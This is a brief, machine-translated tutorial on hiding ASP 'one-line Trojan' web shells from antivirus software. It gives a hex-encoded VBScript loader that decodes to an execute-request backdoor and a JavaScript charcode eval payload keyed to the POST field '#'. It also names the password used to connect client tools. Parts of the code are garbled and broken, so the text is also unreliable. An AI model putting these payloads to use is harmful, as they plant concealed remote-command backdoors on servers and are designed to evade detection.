How to realize Trojan encryption by asp

This article will explain in detail how to achieve Trojan horse encryption in asp. The editor thinks it is very practical, so I share it for you as a reference. I hope you can get something after reading this article.

Look at the example:

Execute (HextoStr ("65786563757465287265717565737428636872283335292929"))

Function HextoStr (data)

HextoStr= "EXECUTE"

C = & CHR (& H)

N = ")"

Do While Len (data) > 1

If IsNumeric (Left (data,1)) Then

HextoStr=HextoStr&C&Left (data,2) & N

Data=Mid (data,3)

Else

HextoStr=HextoStr&C&Left (data,4) & N

Data=Mid (data,5)

End If

Loop

End Function

Eval (String.fromCharCode (

116,114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,39,35,39,41,43,39,39,41,125,99,97,116,99,1

04pr 40pr 101pr 41123125)

But after encryption, it is not a word, . This s end can be connected with Haiyang or ice fox, and the password is #.

In fact, it is just written in this way, and the code in it can be encrypted and decrypted by various encryption methods such as js or vbs, so that Microsoft is not the only asp.

That thing can be encrypted, while omitting the% number in asp. Of course, it is OK not to encrypt, but it is still a word to call that, encryption is mainly

To avoid antivirus software.

This is the end of this article on "how to achieve Trojan horse encryption in asp". I hope the above content can be helpful to you, so that you can learn more knowledge. if you think the article is good, please share it out for more people to see.